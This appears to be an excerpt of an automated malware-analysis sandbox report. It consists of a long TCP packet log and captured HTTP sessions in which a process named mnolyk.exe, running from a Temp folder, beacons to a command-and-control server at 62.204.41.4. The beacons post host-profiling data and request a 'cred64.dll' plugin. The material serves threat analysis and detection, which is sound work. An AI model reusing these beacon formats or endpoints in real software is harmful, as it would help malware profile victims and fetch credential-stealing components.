Feb 7, 2023 23:10:23.360845089 CET	80	50450	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:23.361120939 CET	50450	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:23.361476898 CET	50450	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:23.424088001 CET	80	50450	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:23.426613092 CET	80	50450	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:23.426758051 CET	50450	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:23.535607100 CET	50450	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:23.536395073 CET	50451	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:23.597732067 CET	80	50451	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:23.597976923 CET	50451	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:23.598124027 CET	80	50450	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:23.598287106 CET	50450	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:23.598728895 CET	50451	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:23.660164118 CET	80	50451	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:23.662494898 CET	80	50451	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:23.666953087 CET	50451	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:23.780108929 CET	50451	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:23.781344891 CET	50452	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:23.841773987 CET	80	50451	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:23.843652964 CET	80	50452	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:23.843677044 CET	50451	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:23.843823910 CET	50452	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:23.844381094 CET	50452	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:23.906687021 CET	80	50452	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:23.909277916 CET	80	50452	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:23.912668943 CET	50452	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:24.040589094 CET	50452	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:24.041578054 CET	50453	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:24.102802992 CET	80	50453	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:24.102890968 CET	80	50452	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:24.102974892 CET	50453	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:24.103020906 CET	50452	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:24.103441000 CET	50453	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:24.164634943 CET	80	50453	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:24.168864012 CET	80	50453	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:24.170968056 CET	50453	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:24.280867100 CET	50453	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:24.282466888 CET	50454	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:24.342272997 CET	80	50453	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:24.343960047 CET	80	50454	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:24.344176054 CET	50454	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:24.344182968 CET	50453	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:24.351475954 CET	50454	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:24.413095951 CET	80	50454	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:24.415527105 CET	80	50454	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:24.415699959 CET	50454	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:24.530301094 CET	50454	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:24.531107903 CET	50455	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:24.592025995 CET	80	50454	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:24.592164993 CET	50454	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:24.592552900 CET	80	50455	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:24.592706919 CET	50455	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:24.593085051 CET	50455	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:24.654831886 CET	80	50455	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:24.656892061 CET	80	50455	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:24.657109022 CET	50455	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:24.764889956 CET	50455	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:24.765701056 CET	50456	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:24.826565981 CET	80	50456	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:24.826637983 CET	80	50455	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:24.826791048 CET	50456	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:24.826836109 CET	50455	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:24.827370882 CET	50456	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:24.888448954 CET	80	50456	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:24.891055107 CET	80	50456	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:24.891277075 CET	50456	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:25.005384922 CET	50456	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:25.007657051 CET	50457	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:25.066643953 CET	80	50456	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:25.066863060 CET	50456	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:25.068551064 CET	80	50457	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:25.068650961 CET	50457	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:25.069011927 CET	50457	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:25.129545927 CET	80	50457	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:25.133157969 CET	80	50457	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:25.133270025 CET	50457	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:25.249566078 CET	50457	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:25.250403881 CET	50458	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:25.310367107 CET	80	50457	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:25.310465097 CET	50457	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:25.313010931 CET	80	50458	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:25.313118935 CET	50458	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:25.313774109 CET	50458	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:25.376451969 CET	80	50458	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:25.378963947 CET	80	50458	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:25.379127979 CET	50458	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:25.484291077 CET	50458	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:25.485213041 CET	50459	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:25.546926975 CET	80	50459	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:25.546977043 CET	80	50458	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:25.547055006 CET	50459	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:25.547097921 CET	50458	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:25.566570044 CET	50459	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:25.628115892 CET	80	50459	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:25.630063057 CET	80	50459	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:25.630285025 CET	50459	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:25.765290976 CET	50459	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:25.766036987 CET	50460	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:25.826040030 CET	80	50460	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:25.826256037 CET	50460	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:25.826616049 CET	50460	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:25.826837063 CET	80	50459	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:25.826946974 CET	50459	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:25.886007071 CET	80	50460	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:25.888734102 CET	80	50460	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:25.888859987 CET	50460	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:26.002124071 CET	50460	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:26.002935886 CET	50461	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:26.061831951 CET	80	50460	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:26.062002897 CET	50460	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:26.065655947 CET	80	50461	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:26.065782070 CET	50461	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:26.066420078 CET	50461	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:26.129200935 CET	80	50461	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:26.132620096 CET	80	50461	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:26.132725954 CET	50461	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:26.251918077 CET	50461	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:26.252589941 CET	50462	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:26.314101934 CET	80	50462	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:26.314315081 CET	50462	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:26.314564943 CET	80	50461	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:26.314662933 CET	50461	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:26.316744089 CET	50462	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:26.378463984 CET	80	50462	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:26.380753040 CET	80	50462	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:26.381020069 CET	50462	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:26.483653069 CET	50462	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:26.484782934 CET	50463	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:26.545111895 CET	80	50463	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:26.545146942 CET	80	50462	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:26.545264959 CET	50463	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:26.545293093 CET	50462	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:26.545691967 CET	50463	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:26.605969906 CET	80	50463	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:26.608530998 CET	80	50463	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:26.608871937 CET	50463	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:26.717674971 CET	50463	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:26.718492031 CET	50464	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:26.778161049 CET	80	50463	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:26.778482914 CET	50463	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:26.780349970 CET	80	50464	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:26.780503988 CET	50464	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:26.781065941 CET	50464	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:26.842818022 CET	80	50464	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:26.845169067 CET	80	50464	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:26.845366955 CET	50464	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:26.952816010 CET	50464	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:26.954746008 CET	50465	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:27.019740105 CET	80	50465	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:27.019774914 CET	80	50464	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:27.019961119 CET	50464	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:27.020473957 CET	50465	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:27.020473957 CET	50465	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:27.079884052 CET	80	50465	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:27.084064960 CET	80	50465	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:27.089000940 CET	50465	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:27.201404095 CET	50465	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:27.206237078 CET	50466	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:27.261275053 CET	80	50465	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:27.263900995 CET	50465	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:27.266783953 CET	80	50466	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:27.270970106 CET	50466	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:27.272311926 CET	50466	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:27.332720995 CET	80	50466	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:27.335064888 CET	80	50466	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:27.335268021 CET	50466	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:27.453316927 CET	50466	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:27.455192089 CET	50467	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:27.514870882 CET	80	50466	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:27.515039921 CET	50466	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:27.518812895 CET	80	50467	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:27.519016981 CET	50467	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:27.519526958 CET	50467	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:27.581918955 CET	80	50467	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:27.584702969 CET	80	50467	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:27.584819078 CET	50467	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:27.704570055 CET	50467	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:27.705624104 CET	50468	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:27.766271114 CET	80	50468	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:27.766448021 CET	50468	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:27.766830921 CET	50468	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:27.766974926 CET	80	50467	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:27.767066002 CET	50467	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:27.827429056 CET	80	50468	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:27.829786062 CET	80	50468	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:27.829921007 CET	50468	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:27.974126101 CET	50468	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:27.976979971 CET	50469	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:28.035125017 CET	80	50468	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:28.035342932 CET	50468	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:28.037348032 CET	80	50469	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:28.037535906 CET	50469	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:28.062597036 CET	50469	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:28.123147964 CET	80	50469	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:28.126764059 CET	80	50469	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:28.126939058 CET	50469	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:28.234428883 CET	50469	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:28.235668898 CET	50470	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:28.294887066 CET	80	50469	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:28.294990063 CET	50469	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:28.297275066 CET	80	50470	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:28.297382116 CET	50470	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:28.297772884 CET	50470	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:28.359241962 CET	80	50470	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:28.361551046 CET	80	50470	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:28.361676931 CET	50470	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:28.468485117 CET	50470	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:28.470855951 CET	50471	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:28.530258894 CET	80	50470	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:28.530354977 CET	50470	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:28.533632040 CET	80	50471	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:28.533761024 CET	50471	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:28.534173965 CET	50471	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:28.596872091 CET	80	50471	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:28.599333048 CET	80	50471	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:28.599471092 CET	50471	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:28.718164921 CET	50471	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:28.718916893 CET	50472	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:28.780381918 CET	80	50472	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:28.780502081 CET	50472	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:28.780920029 CET	80	50471	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:28.781018019 CET	50472	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:28.781122923 CET	50471	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:28.842305899 CET	80	50472	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:28.845155001 CET	80	50472	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:28.845257998 CET	50472	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:28.952999115 CET	50472	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:28.953600883 CET	50473	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:29.015202045 CET	80	50472	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:29.015232086 CET	80	50473	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:29.015357018 CET	50473	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:29.015360117 CET	50472	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:29.015985966 CET	50473	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:29.077548981 CET	80	50473	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:29.081521988 CET	80	50473	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:29.081589937 CET	50473	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:29.205411911 CET	50473	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:29.206250906 CET	50474	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:29.267031908 CET	80	50473	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:29.267220020 CET	50473	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:29.267703056 CET	80	50474	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:29.267828941 CET	50474	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:29.268969059 CET	50474	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:29.330379963 CET	80	50474	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:29.332952976 CET	80	50474	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:29.333046913 CET	50474	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:29.439646006 CET	50474	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:29.444730997 CET	50475	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:29.501277924 CET	80	50474	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:29.503384113 CET	50474	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:29.506246090 CET	80	50475	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:29.508888960 CET	50475	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:29.511990070 CET	50475	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:29.573390961 CET	80	50475	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:29.575716972 CET	80	50475	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:29.577085972 CET	50475	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:29.687033892 CET	50475	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:29.687849045 CET	50476	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:29.748725891 CET	80	50475	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:29.748852968 CET	50475	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:29.749073982 CET	80	50476	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:29.753123045 CET	50476	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:29.753559113 CET	50476	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:29.814680099 CET	80	50476	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:29.817495108 CET	80	50476	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:29.819171906 CET	50476	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:29.936057091 CET	50476	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:29.936989069 CET	50477	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:29.996253967 CET	80	50477	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:29.997380972 CET	80	50476	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:29.997665882 CET	50476	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:29.999027014 CET	50477	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:29.999027967 CET	50477	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:30.058387995 CET	80	50477	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:30.062169075 CET	80	50477	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:30.063122034 CET	50477	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:30.171015024 CET	50477	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:30.172029018 CET	50478	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:30.230411053 CET	80	50477	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:30.231025934 CET	50477	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:30.233484030 CET	80	50478	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:30.233639956 CET	50478	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:30.234168053 CET	50478	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:30.295481920 CET	80	50478	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:30.297786951 CET	80	50478	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:30.297868013 CET	50478	80	192.168.2.7	62.204.41.4

HTTP Request Dependency Graph

62.204.41.4

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.7	49694	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:00.567050934 CET	8	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:00.630398035 CET	9	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.7	49695	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:00.567383051 CET	9	OUT	GET /Gol478Ns/Plugins/cred64.dll HTTP/1.1 Host: 62.204.41.4
Feb 7, 2023 23:07:00.628043890 CET	9	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:00 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.7	49704	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:03.968547106 CET	114	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:04.032342911 CET	114	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.7	49795	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
